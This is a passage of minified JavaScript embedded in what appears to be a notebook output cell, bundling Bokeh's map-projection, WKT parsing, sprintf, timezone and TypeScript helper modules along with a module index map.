Visualisation Pseudo Mercator\\\",\\\"Mercator_1SP\\\",\\\"Mercator_Auxiliary_Sphere\\\",\\\"merc\\\"]},function(t,e,i){var a=.017453292519943295,l=57.29577951308232,h=t(377),u=t(363),c=t(362),_=t(368);e.exports=function t(e,i,n){var r,o,s;return Array.isArray(n)&&(n=_(n)),e.datum&&i.datum&&(s=i,(1===(o=e).datum.datum_type||2===o.datum.datum_type)&&\\\"WGS84\\\"!==s.datumCode||(1===s.datum.datum_type||2===s.datum.datum_type)&&\\\"WGS84\\\"!==o.datumCode)&&(r=new c(\\\"WGS84\\\"),n=t(e,r,n),e=r),\\\"enu\\\"!==e.axis&&(n=u(e,!1,n)),\\\"longlat\\\"===e.projName?n={x:n.x*a,y:n.y*a}:(e.to_meter&&(n={x:n.x*e.to_meter,y:n.y*e.to_meter}),n=e.inverse(n)),e.from_greenwich&&(n.x+=e.from_greenwich),n=h(e.datum,i.datum,n),i.from_greenwich&&(n={x:n.x-i.grom_greenwich,y:n.y}),\\\"longlat\\\"===i.projName?n={x:n.x*l,y:n.y*l}:(n=i.forward(n),i.to_meter&&(n={x:n.x/i.to_meter,y:n.y/i.to_meter})),\\\"enu\\\"!==i.axis?u(i,!0,n):n}},function(t,e,i){var n=.017453292519943295,s=t(380);function r(t,e,i){t[e]=i.map(function(t){var e={};return a(t,e),e}).reduce(function(t,e){return s(t,e)},{})}function a(t,e){var i;Array.isArray(t)?(\\\"PARAMETER\\\"===(i=t.shift())&&(i=t.shift()),1===t.length?Array.isArray(t[0])?(e[i]={},a(t[0],e[i])):e[i]=t[0]:t.length?\\\"TOWGS84\\\"===i?e[i]=t:(e[i]={},-1<[\\\"UNIT\\\",\\\"PRIMEM\\\",\\\"VERT_DATUM\\\"].indexOf(i)?(e[i]={name:t[0].toLowerCase(),convert:t[1]},3===t.length&&(e[i].auth=t[2])):\\\"SPHEROID\\\"===i?(e[i]={name:t[0],a:t[1],rf:t[2]},4===t.length&&(e[i].auth=t[3])):-1<[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"DATUM\\\",\\\"VERT_CS\\\",\\\"COMPD_CS\\\",\\\"LOCAL_CS\\\",\\\"FITTED_CS\\\",\\\"LOCAL_DATUM\\\"].indexOf(i)?(t[0]=[\\\"name\\\",t[0]],r(e,i,t)):t.every(function(t){return Array.isArray(t)})?r(e,i,t):a(t,e[i])):e[i]=!0):e[t]=!0}function l(t){return t*n}e.exports=function(t,e){var i=JSON.parse((\\\",\\\"+t).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)(\\\\[)/g,',[\\\"$1\\\",').slice(1).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)\\\\]/g,',\\\"$1\\\"]').replace(/,\\\\[\\\"VERTCS\\\".+/,\\\"\\\")),n=i.shift(),r=i.shift();i.unshift([\\\"name\\\",r]),i.unshift([\\\"type\\\",n]),i.unshift(\\\"output\\\");var o={};return a(i,o),function(o){function t(t){var e=o.to_meter||1;return parseFloat(t,10)*e}\\\"GEOGCS\\\"===o.type?o.projName=\\\"longlat\\\":\\\"LOCAL_CS\\\"===o.type?(o.projName=\\\"identity\\\",o.local=!0):\\\"object\\\"==typeof o.PROJECTION?o.projName=Object.keys(o.PROJECTION)[0]:o.projName=o.PROJECTION,o.UNIT&&(o.units=o.UNIT.name.toLowerCase(),\\\"metre\\\"===o.units&&(o.units=\\\"meter\\\"),o.UNIT.convert&&(\\\"GEOGCS\\\"===o.type?o.DATUM&&o.DATUM.SPHEROID&&(o.to_meter=parseFloat(o.UNIT.convert,10)*o.DATUM.SPHEROID.a):o.to_meter=parseFloat(o.UNIT.convert,10))),o.GEOGCS&&(o.GEOGCS.DATUM?o.datumCode=o.GEOGCS.DATUM.name.toLowerCase():o.datumCode=o.GEOGCS.name.toLowerCase(),\\\"d_\\\"===o.datumCode.slice(0,2)&&(o.datumCode=o.datumCode.slice(2)),\\\"new_zealand_geodetic_datum_1949\\\"!==o.datumCode&&\\\"new_zealand_1949\\\"!==o.datumCode||(o.datumCode=\\\"nzgd49\\\"),\\\"wgs_1984\\\"===o.datumCode&&(\\\"Mercator_Auxiliary_Sphere\\\"===o.PROJECTION&&(o.sphere=!0),o.datumCode=\\\"wgs84\\\"),\\\"_ferro\\\"===o.datumCode.slice(-6)&&(o.datumCode=o.datumCode.slice(0,-6)),\\\"_jakarta\\\"===o.datumCode.slice(-8)&&(o.datumCode=o.datumCode.slice(0,-8)),~o.datumCode.indexOf(\\\"belge\\\")&&(o.datumCode=\\\"rnb72\\\"),o.GEOGCS.DATUM&&o.GEOGCS.DATUM.SPHEROID&&(o.ellps=o.GEOGCS.DATUM.SPHEROID.name.replace(\\\"_19\\\",\\\"\\\").replace(/[Cc]larke\\\\_18/,\\\"clrk\\\"),\\\"international\\\"===o.ellps.toLowerCase().slice(0,13)&&(o.ellps=\\\"intl\\\"),o.a=o.GEOGCS.DATUM.SPHEROID.a,o.rf=parseFloat(o.GEOGCS.DATUM.SPHEROID.rf,10)),~o.datumCode.indexOf(\\\"osgb_1936\\\")&&(o.datumCode=\\\"osgb36\\\")),o.b&&!isFinite(o.b)&&(o.b=o.a),[[\\\"standard_parallel_1\\\",\\\"Standard_Parallel_1\\\"],[\\\"standard_parallel_2\\\",\\\"Standard_Parallel_2\\\"],[\\\"false_easting\\\",\\\"False_Easting\\\"],[\\\"false_northing\\\",\\\"False_Northing\\\"],[\\\"central_meridian\\\",\\\"Central_Meridian\\\"],[\\\"latitude_of_origin\\\",\\\"Latitude_Of_Origin\\\"],[\\\"latitude_of_origin\\\",\\\"Central_Parallel\\\"],[\\\"scale_factor\\\",\\\"Scale_Factor\\\"],[\\\"k0\\\",\\\"scale_factor\\\"],[\\\"latitude_of_center\\\",\\\"Latitude_of_center\\\"],[\\\"lat0\\\",\\\"latitude_of_center\\\",l],[\\\"longitude_of_center\\\",\\\"Longitude_Of_Center\\\"],[\\\"longc\\\",\\\"longitude_of_center\\\",l],[\\\"x0\\\",\\\"false_easting\\\",t],[\\\"y0\\\",\\\"false_northing\\\",t],[\\\"long0\\\",\\\"central_meridian\\\",l],[\\\"lat0\\\",\\\"latitude_of_origin\\\",l],[\\\"lat0\\\",\\\"standard_parallel_1\\\",l],[\\\"lat1\\\",\\\"standard_parallel_1\\\",l],[\\\"lat2\\\",\\\"standard_parallel_2\\\",l],[\\\"alpha\\\",\\\"azimuth\\\",l],[\\\"srsCode\\\",\\\"name\\\"]].forEach(function(t){return e=o,n=(i=t)[0],r=i[1],void(!(n in e)&&r in e&&(e[n]=e[r],3===i.length&&(e[n]=i[2](e[n]))));var e,i,n,r}),o.long0||!o.longc||\\\"Albers_Conic_Equal_Area\\\"!==o.projName&&\\\"Lambert_Azimuthal_Equal_Area\\\"!==o.projName||(o.long0=o.longc),o.lat_ts||!o.lat1||\\\"Stereographic_South_Pole\\\"!==o.projName&&\\\"Polar Stereographic (variant B)\\\"!==o.projName||(o.lat0=l(0<o.lat1?90:-90),o.lat_ts=o.lat1)}(o.output),s(e,o.output)}},function(t,e,i){!function(){\\\"use strict\\\";var d={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\\\\x25]+/,modulo:/^\\\\x25{2}/,placeholder:/^\\\\x25(?:([1-9]\\\\d*)\\\\$|\\\\(([^\\\\)]+)\\\\))?(\\\\+)?(0|'[^$])?(-)?(\\\\d+)?(?:\\\\.(\\\\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\\\\d]*)/i,key_access:/^\\\\.([a-z_][a-z_\\\\d]*)/i,index_access:/^\\\\[(\\\\d+)\\\\]/,sign:/^[\\\\+\\\\-]/};function f(t){return function(t,e){var i,n,r,o,s,a,l,h,u,c=1,_=t.length,p=\\\"\\\";for(n=0;n<_;n++)if(\\\"string\\\"==typeof t[n])p+=t[n];else if(Array.isArray(t[n])){if((o=t[n])[2])for(i=e[c],r=0;r<o[2].length;r++){if(!i.hasOwnProperty(o[2][r]))throw new Error(f('[sprintf] property \\\"%s\\\" does not exist',o[2][r]));i=i[o[2][r]]}else i=o[1]?e[o[1]]:e[c++];if(d.not_type.test(o[8])&&d.not_primitive.test(o[8])&&i instanceof Function&&(i=i()),d.numeric_arg.test(o[8])&&\\\"number\\\"!=typeof i&&isNaN(i))throw new TypeError(f(\\\"[sprintf] expecting number but found %T\\\",i));switch(d.number.test(o[8])&&(h=0<=i),o[8]){case\\\"b\\\":i=parseInt(i,10).toString(2);break;case\\\"c\\\":i=String.fromCharCode(parseInt(i,10));break;case\\\"d\\\":case\\\"i\\\":i=parseInt(i,10);break;case\\\"j\\\":i=JSON.stringify(i,null,o[6]?parseInt(o[6]):0);break;case\\\"e\\\":i=o[7]?parseFloat(i).toExponential(o[7]):parseFloat(i).toExponential();break;case\\\"f\\\":i=o[7]?parseFloat(i).toFixed(o[7]):parseFloat(i);break;case\\\"g\\\":i=o[7]?String(Number(i.toPrecision(o[7]))):parseFloat(i);break;case\\\"o\\\":i=(parseInt(i,10)>>>0).toString(8);break;case\\\"s\\\":i=String(i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"t\\\":i=String(!!i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"T\\\":i=Object.prototype.toString.call(i).slice(8,-1).toLowerCase(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"u\\\":i=parseInt(i,10)>>>0;break;case\\\"v\\\":i=i.valueOf(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"x\\\":i=(parseInt(i,10)>>>0).toString(16);break;case\\\"X\\\":i=(parseInt(i,10)>>>0).toString(16).toUpperCase()}d.json.test(o[8])?p+=i:(!d.number.test(o[8])||h&&!o[3]?u=\\\"\\\":(u=h?\\\"+\\\":\\\"-\\\",i=i.toString().replace(d.sign,\\\"\\\")),a=o[4]?\\\"0\\\"===o[4]?\\\"0\\\":o[4].charAt(1):\\\" \\\",l=o[6]-(u+i).length,s=o[6]&&0<l?a.repeat(l):\\\"\\\",p+=o[5]?u+i+s:\\\"0\\\"===a?u+s+i:s+u+i)}return p}(function(t){if(l[t])return l[t];for(var e,i=t,n=[],r=0;i;){if(null!==(e=d.text.exec(i)))n.push(e[0]);else if(null!==(e=d.modulo.exec(i)))n.push(\\\"%\\\");else{if(null===(e=d.placeholder.exec(i)))throw new SyntaxError(\\\"[sprintf] unexpected placeholder\\\");if(e[2]){r|=1;var o=[],s=e[2],a=[];if(null===(a=d.key.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");for(o.push(a[1]);\\\"\\\"!==(s=s.substring(a[0].length));)if(null!==(a=d.key_access.exec(s)))o.push(a[1]);else{if(null===(a=d.index_access.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");o.push(a[1])}e[2]=o}else r|=2;if(3===r)throw new Error(\\\"[sprintf] mixing positional and named placeholders is not (yet) supported\\\");n.push(e)}i=i.substring(e[0].length)}return l[t]=n}(t),arguments)}function t(t,e){return f.apply(null,[t].concat(e||[]))}var l=Object.create(null);void 0!==i&&(i.sprintf=f,i.vsprintf=t),\\\"undefined\\\"!=typeof window&&(window.sprintf=f,window.vsprintf=t)}()},function(t,e,i){!function(t){\\\"object\\\"==typeof e&&e.exports?e.exports=t():this.tz=t()}(function(){function d(t,e,i){for(var n,r=e.day[1];n=new Date(Date.UTC(i,e.month,Math.abs(r++))),e.day[0]<7&&n.getUTCDay()!=e.day[0];);return(n={clock:e.clock,sort:n.getTime(),rule:e,save:6e4*e.save,offset:t.offset})[n.clock]=n.sort+6e4*e.time,n.posix?n.wallclock=n[n.clock]+(t.offset+e.saved):n.posix=n[n.clock]-(t.offset+e.saved),n}function r(t,e,i){var n,r,o,s,a,l,h,u=t[t.zone],c=[],_=new Date(i).getUTCFullYear(),p=1;for(n=1,r=u.length;n<r&&!(u[n][e]<=i);n++);if((o=u[n]).rules){for(l=t[o.rules],h=_+1;_-p<=h;--h)for(n=0,r=l.length;n<r;n++)l[n].from<=h&&h<=l[n].to?c.push(d(o,l[n],h)):l[n].to<h&&1==p&&(p=h-l[n].to);for(c.sort(function(t,e){return t.sort-e.sort}),n=0,r=c.length;n<r;n++)i>=c[n][e]&&c[n][c[n].clock]>o[c[n].clock]&&(s=c[n])}return s&&((a=/^(.*)\\\\/(.*)$/.exec(o.format))?s.abbrev=a[s.save?2:1]:s.abbrev=o.format.replace(/%s/,s.rule.letter)),s||o}function a(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=r(t,\\\"posix\\\",e),e+t.entry.offset+t.entry.save)}function c(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=i=r(t,\\\"wallclock\\\",e),0<(n=e-i.wallclock)&&n<i.save?null:e-i.offset-i.save);var i,n}function o(t,e,i){var n,r=+(i[1]+1),o=i[2]*r,s=l.indexOf(i[3].toLowerCase());if(9<s)e+=o*h[s-10];else{if(n=new Date(a(t,e)),s<7)for(;o;)n.setUTCDate(n.getUTCDate()+r),n.getUTCDay()==s&&(o-=r);else 7==s?n.setUTCFullYear(n.getUTCFullYear()+o):8==s?n.setUTCMonth(n.getUTCMonth()+o):n.setUTCDate(n.getUTCDate()+o);null==(e=c(t,n.getTime()))&&(e=c(t,n.getTime()+864e5*r)-864e5*r)}return e}var e={clock:function(){return+new Date},zone:\\\"UTC\\\",entry:{abbrev:\\\"UTC\\\",offset:0,save:0},UTC:1,z:function(t,e,i,n){var r,o,s=this.entry.offset+this.entry.save,a=Math.abs(s/1e3),l=[],h=3600;for(r=0;r<3;r++)l.push((\\\"0\\\"+Math.floor(a/h)).slice(-2)),a%=h,h/=60;return\\\"^\\\"!=i||s?(\\\"^\\\"==i&&(n=3),3==n?(o=(o=l.join(\\\":\\\")).replace(/:00$/,\\\"\\\"),\\\"^\\\"!=i&&(o=o.replace(/:00$/,\\\"\\\"))):n?(o=l.slice(0,n+1).join(\\\":\\\"),\\\"^\\\"==i&&(o=o.replace(/:00$/,\\\"\\\"))):o=l.slice(0,2).join(\\\"\\\"),o=(o=(s<0?\\\"-\\\":\\\"+\\\")+o).replace(/([-+])(0)/,{_:\\\" $1\\\",\\\"-\\\":\\\"$1\\\"}[i]||\\\"$1$2\\\")):\\\"Z\\\"},\\\"%\\\":function(t){return\\\"%\\\"},n:function(t){return\\\"\\\\n\\\"},t:function(t){return\\\"\\\\t\\\"},U:function(t){return u(t,0)},W:function(t){return u(t,1)},V:function(t){return i(t)[0]},G:function(t){return i(t)[1]},g:function(t){return i(t)[1]%100},j:function(t){return Math.floor((t.getTime()-Date.UTC(t.getUTCFullYear(),0))/864e5)+1},s:function(t){return Math.floor(t.getTime()/1e3)},C:function(t){return Math.floor(t.getUTCFullYear()/100)},N:function(t){return t.getTime()%1e3*1e6},m:function(t){return t.getUTCMonth()+1},Y:function(t){return t.getUTCFullYear()},y:function(t){return t.getUTCFullYear()%100},H:function(t){return t.getUTCHours()},M:function(t){return t.getUTCMinutes()},S:function(t){return t.getUTCSeconds()},e:function(t){return t.getUTCDate()},d:function(t){return t.getUTCDate()},u:function(t){return t.getUTCDay()||7},w:function(t){return t.getUTCDay()},l:function(t){return t.getUTCHours()%12||12},I:function(t){return t.getUTCHours()%12||12},k:function(t){return t.getUTCHours()},Z:function(t){return this.entry.abbrev},a:function(t){return this[this.locale].day.abbrev[t.getUTCDay()]},A:function(t){return this[this.locale].day.full[t.getUTCDay()]},h:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},b:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},B:function(t){return this[this.locale].month.full[t.getUTCMonth()]},P:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)].toLowerCase()},p:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)]},R:function(t,e){return this.convert([e,\\\"%H:%M\\\"])},T:function(t,e){return this.convert([e,\\\"%H:%M:%S\\\"])},D:function(t,e){return this.convert([e,\\\"%m/%d/%y\\\"])},F:function(t,e){return this.convert([e,\\\"%Y-%m-%d\\\"])},x:function(t,e){return this.convert([e,this[this.locale].date])},r:function(t,e){return this.convert([e,this[this.locale].time12||\\\"%I:%M:%S\\\"])},X:function(t,e){return this.convert([e,this[this.locale].time24])},c:function(t,e){return this.convert([e,this[this.locale].dateTime])},convert:function(t){if(!t.length)return\\\"1.0.13\\\";var e,i,l,n,h,u=Object.create(this),r=[];for(e=0;e<t.length;e++)if(n=t[e],Array.isArray(n))e||isNaN(n[1])?n.splice.apply(t,[e--,1].concat(n)):h=n;else if(isNaN(n)){if(\\\"string\\\"==(l=typeof n))~n.indexOf(\\\"%\\\")?u.format=n:e||\\\"*\\\"!=n?!e&&(l=/^(\\\\d{4})-(\\\\d{2})-(\\\\d{2})(?:[T\\\\s](\\\\d{2}):(\\\\d{2})(?::(\\\\d{2})(?:\\\\.(\\\\d+))?)?(Z|(([+-])(\\\\d{2}(:\\\\d{2}){0,2})))?)?$/.exec(n))?((h=[]).push.apply(h,l.slice(1,8)),l[9]?(h.push(l[10]+1),h.push.apply(h,l[11].split(/:/))):l[8]&&h.push(1)):/^\\\\w{2,3}_\\\\w{2}$/.test(n)?u.locale=n:(l=s.exec(n))?r.push(l):u.zone=n:h=n;else if(\\\"function\\\"==l){if(l=n.call(u))return l}else if(/^\\\\w{2,3}_\\\\w{2}$/.test(n.name))u[n.name]=n;else if(n.zones){for(l in n.zones)u[l]=n.zones[l];for(l in n.rules)u[l]=n.rules[l]}}else e||(h=n);if(u[u.locale]||delete u.locale,u[u.zone]||delete u.zone,null!=h){if(\\\"*\\\"==h)h=u.clock();else if(Array.isArray(h)){for(l=[],i=!h[7],e=0;e<11;e++)l[e]=+(h[e]||0);--l[1],h=Date.UTC.apply(Date.UTC,l)+-l[7]*(36e5*l[8]+6e4*l[9]+1e3*l[10])}else h=Math.floor(h);if(!isNaN(h)){if(i&&(h=c(u,h)),null==h)return h;for(e=0,i=r.length;e<i;e++)h=o(u,h,r[e]);return u.format?(l=new Date(a(u,h)),u.format.replace(/%([-0_^]?)(:{0,3})(\\\\d*)(.)/g,function(t,e,i,n,r){var o,s,a=\\\"0\\\";if(o=u[r]){for(t=String(o.call(u,l,h,e,i.length)),\\\"_\\\"==(e||o.style)&&(a=\\\" \\\"),s=\\\"-\\\"==e?0:o.pad||0;t.length<s;)t=a+t;for(s=\\\"-\\\"==e?0:n||o.pad;t.length<s;)t=a+t;\\\"N\\\"==r&&s<t.length&&(t=t.slice(0,s)),\\\"^\\\"==e&&(t=t.toUpperCase())}return t})):h}}return function(){return u.convert(arguments)}},locale:\\\"en_US\\\",en_US:{date:\\\"%m/%d/%Y\\\",time24:\\\"%I:%M:%S %p\\\",time12:\\\"%I:%M:%S %p\\\",dateTime:\\\"%a %d %b %Y %I:%M:%S %p %Z\\\",meridiem:[\\\"AM\\\",\\\"PM\\\"],month:{abbrev:\\\"Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec\\\".split(\\\"|\\\"),full:\\\"January|February|March|April|May|June|July|August|September|October|November|December\\\".split(\\\"|\\\")},day:{abbrev:\\\"Sun|Mon|Tue|Wed|Thu|Fri|Sat\\\".split(\\\"|\\\"),full:\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday\\\".split(\\\"|\\\")}}},l=\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|year|month|day|hour|minute|second|millisecond\\\",s=new RegExp(\\\"^\\\\\\\\s*([+-])(\\\\\\\\d+)\\\\\\\\s+(\\\"+l+\\\")s?\\\\\\\\s*$\\\",\\\"i\\\"),h=[36e5,6e4,1e3,1];function u(t,e){var i,n,r;return n=new Date(Date.UTC(t.getUTCFullYear(),0)),i=Math.floor((t.getTime()-n.getTime())/864e5),n.getUTCDay()==e?r=0:8==(r=7-n.getUTCDay()+e)&&(r=1),r<=i?Math.floor((i-r)/7)+1:0}function i(t){var e,i,n;return i=t.getUTCFullYear(),e=new Date(Date.UTC(i,0)).getUTCDay(),(n=u(t,1)+(1<e&&e<=4?1:0))?53!=n||4==e||3==e&&29==new Date(i,1,29).getDate()?[n,t.getUTCFullYear()]:[1,t.getUTCFullYear()+1]:(i=t.getUTCFullYear()-1,e=new Date(Date.UTC(i,0)).getUTCDay(),[n=4==e||3==e&&29==new Date(i,1,29).getDate()?53:52,t.getUTCFullYear()-1])}return l=l.toLowerCase().split(\\\"|\\\"),\\\"delmHMSUWVgCIky\\\".replace(/./g,function(t){e[t].pad=2}),e.N.pad=9,e.j.pad=3,e.k.style=\\\"_\\\",e.l.style=\\\"_\\\",e.e.style=\\\"_\\\",function(){return e.convert(arguments)}})},function(t,n,e){\\n\",\n       \"      /*! *****************************************************************************\\n\",\n       \"          Copyright (c) Microsoft Corporation. All rights reserved.\\n\",\n       \"          Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); you may not use\\n\",\n       \"          this file except in compliance with the License. You may obtain a copy of the\\n\",\n       \"          License at http://www.apache.org/licenses/LICENSE-2.0\\n\",\n       \"          \\n\",\n       \"          THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\\n\",\n       \"          KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\\n\",\n       \"          WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,\\n\",\n       \"          MERCHANTABLITY OR NON-INFRINGEMENT.\\n\",\n       \"          \\n\",\n       \"          See the Apache Version 2.0 License for specific language governing permissions\\n\",\n       \"          and limitations under the License.\\n\",\n       \"          ***************************************************************************** */\\n\",\n       \"      var i,r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x;!function(t){var e=\\\"object\\\"==typeof global?global:\\\"object\\\"==typeof self?self:\\\"object\\\"==typeof this?this:{};function i(i,n){return i!==e&&(\\\"function\\\"==typeof Object.create?Object.defineProperty(i,\\\"__esModule\\\",{value:!0}):i.__esModule=!0),function(t,e){return i[t]=n?n(t,e):e}}\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?t(i(e,i(n.exports))):t(i(e))}(function(t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])};i=function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)},r=Object.assign||function(t){for(var e,i=1,n=arguments.length;i<n;i++)for(var r in e=arguments[i])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t},o=function(t,e){var i={};for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e.indexOf(n)<0&&(i[n]=t[n]);if(null!=t&&\\\"function\\\"==typeof Object.getOwnPropertySymbols)for(var r=0,n=Object.getOwnPropertySymbols(t);r<n.length;r++)e.indexOf(n[r])<0&&(i[n[r]]=t[n[r]]);return i},s=function(t,e,i,n){var r,o=arguments.length,s=o<3?e:null===n?n=Object.getOwnPropertyDescriptor(e,i):n;if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.decorate)s=Reflect.decorate(t,e,i,n);else for(var a=t.length-1;0<=a;a--)(r=t[a])&&(s=(o<3?r(s):3<o?r(e,i,s):r(e,i))||s);return 3<o&&s&&Object.defineProperty(e,i,s),s},a=function(i,n){return function(t,e){n(t,e,i)}},l=function(t,e){if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.metadata)return Reflect.metadata(t,e)},h=function(o,s,a,l){return new(a||(a=Promise))(function(t,e){function i(t){try{r(l.next(t))}catch(t){e(t)}}function n(t){try{r(l.throw(t))}catch(t){e(t)}}function r(e){e.done?t(e.value):new a(function(t){t(e.value)}).then(i,n)}r((l=l.apply(o,s||[])).next())})},u=function(i,n){var r,o,s,t,a={label:0,sent:function(){if(1&s[0])throw s[1];return s[1]},trys:[],ops:[]};return t={next:e(0),throw:e(1),return:e(2)},\\\"function\\\"==typeof Symbol&&(t[Symbol.iterator]=function(){return this}),t;function e(e){return function(t){return function(e){if(r)throw new TypeError(\\\"Generator is already executing.\\\");for(;a;)try{if(r=1,o&&(s=2&e[0]?o.return:e[0]?o.throw||((s=o.return)&&s.call(o),0):o.next)&&!(s=s.call(o,e[1])).done)return s;switch(o=0,s&&(e=[2&e[0],s.value]),e[0]){case 0:case 1:s=e;break;case 4:return a.label++,{value:e[1],done:!1};case 5:a.label++,o=e[1],e=[0];continue;case 7:e=a.ops.pop(),a.trys.pop();continue;default:if(!(s=0<(s=a.trys).length&&s[s.length-1])&&(6===e[0]||2===e[0])){a=0;continue}if(3===e[0]&&(!s||e[1]>s[0]&&e[1]<s[3])){a.label=e[1];break}if(6===e[0]&&a.label<s[1]){a.label=s[1],s=e;break}if(s&&a.label<s[2]){a.label=s[2],a.ops.push(e);break}s[2]&&a.ops.pop(),a.trys.pop();continue}e=n.call(i,a)}catch(t){e=[6,t],o=0}finally{r=s=0}if(5&e[0])throw e[1];return{value:e[0]?e[1]:void 0,done:!0}}([e,t])}}},c=function(t,e){for(var i in t)e.hasOwnProperty(i)||(e[i]=t[i])},_=function(t){var e=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator],i=0;return e?e.call(t):{next:function(){return t&&i>=t.length&&(t=void 0),{value:t&&t[i++],done:!t}}}},p=function(t,e){var i=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator];if(!i)return t;var n,r,o=i.call(t),s=[];try{for(;(void 0===e||0<e--)&&!(n=o.next()).done;)s.push(n.value)}catch(t){r={error:t}}finally{try{n&&!n.done&&(i=o.return)&&i.call(o)}finally{if(r)throw r.error}}return s},d=function(){for(var t=[],e=0;e<arguments.length;e++)t=t.concat(p(arguments[e]));return t},f=function(t){return this instanceof f?(this.v=t,this):new f(t)},v=function(t,e,i){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var r,o=i.apply(t,e||[]),s=[];return r={},n(\\\"next\\\"),n(\\\"throw\\\"),n(\\\"return\\\"),r[Symbol.asyncIterator]=function(){return this},r;function n(n){o[n]&&(r[n]=function(i){return new Promise(function(t,e){1<s.push([n,i,t,e])||a(n,i)})})}function a(t,e){try{(i=o[t](e)).value instanceof f?Promise.resolve(i.value.v).then(l,h):u(s[0][2],i)}catch(t){u(s[0][3],t)}var i}function l(t){a(\\\"next\\\",t)}function h(t){a(\\\"throw\\\",t)}function u(t,e){t(e),s.shift(),s.length&&a(s[0][0],s[0][1])}},m=function(n){var t,r;return t={},e(\\\"next\\\"),e(\\\"throw\\\",function(t){throw t}),e(\\\"return\\\"),t[Symbol.iterator]=function(){return this},t;function e(e,i){t[e]=n[e]?function(t){return(r=!r)?{value:f(n[e](t)),done:\\\"return\\\"===e}:i?i(t):t}:i}},g=function(l){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var t,e=l[Symbol.asyncIterator];return e?e.call(l):(l=_(l),t={},i(\\\"next\\\"),i(\\\"throw\\\"),i(\\\"return\\\"),t[Symbol.asyncIterator]=function(){return this},t);function i(a){t[a]=l[a]&&function(s){return new Promise(function(t,e){var i,n,r,o;s=l[a](s),i=t,n=e,r=s.done,o=s.value,Promise.resolve(o).then(function(t){i({value:t,done:r})},n)})}}},y=function(t,e){return Object.defineProperty?Object.defineProperty(t,\\\"raw\\\",{value:e}):t.raw=e,t},b=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var i in t)Object.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e.default=t,e},x=function(t){return t&&t.__esModule?t:{default:t}},t(\\\"__extends\\\",i),t(\\\"__assign\\\",r),t(\\\"__rest\\\",o),t(\\\"__decorate\\\",s),t(\\\"__param\\\",a),t(\\\"__metadata\\\",l),t(\\\"__awaiter\\\",h),t(\\\"__generator\\\",u),t(\\\"__exportStar\\\",c),t(\\\"__values\\\",_),t(\\\"__read\\\",p),t(\\\"__spread\\\",d),t(\\\"__await\\\",f),t(\\\"__asyncGenerator\\\",v),t(\\\"__asyncDelegator\\\",m),t(\\\"__asyncValues\\\",g),t(\\\"__makeTemplateObject\\\",y),t(\\\"__importStar\\\",b),t(\\\"__importDefault\\\",x)})}],s={base:0,\\\"client/connection\\\":1,\\\"client/session\\\":2,\\\"core/bokeh_events\\\":3,\\\"core/build_views\\\":4,\\\"core/dom\\\":5,\\\"core/dom_view\\\":6,\\\"core/enums\\\":7,\\\"core/has_props\\\":8,\\\"core/hittest\\\":9,\\\"core/layout/alignments\\\":10,\\\"core/layout/layout_canvas\\\":11,\\\"core/layout/side_panel\\\":12,\\\"core/layout/solver\\\":13,\\\"core/logging\\\":14,\\\"core/properties\\\":15,\\\"core/property_mixins\\\":16,\\\"core/selection_manager\\\":17,\\\"core/settings\\\":18,\\\"core/signaling\\\":19,\\\"core/ui_events\\\":20,\\\"core/util/array\\\":21,\\\"core/util/arrayable\\\":22,\\\"core/util/assert\\\":23,\\\"core/util/bbox\\\":24,\\\"core/util/callback\\\":25,\\\"core/util/canvas\\\":26,\\\"core/util/color\\\":27,\\\"core/util/compat\\\":28,\\\"core/util/data_structures\\\":29,\\\"core/util/eq\\\":30,\\\"core/util/math\\\":31,\\\"core/util/object\\\":32,\\\"core/util/projections\\\":33,\\\"core/util/refs\\\":34,\\\"core/util/selection\\\":35,\\\"core/util/serialization\\\":36,\\\"core/util/spatial\\\":37,\\\"core/util/string\\\":38,\\\"core/util/svg_colors\\\":39,\\\"core/util/templating\\\":40,\\\"core/util/text\\\":41,\\\"core/util/throttle\\\":42,\\\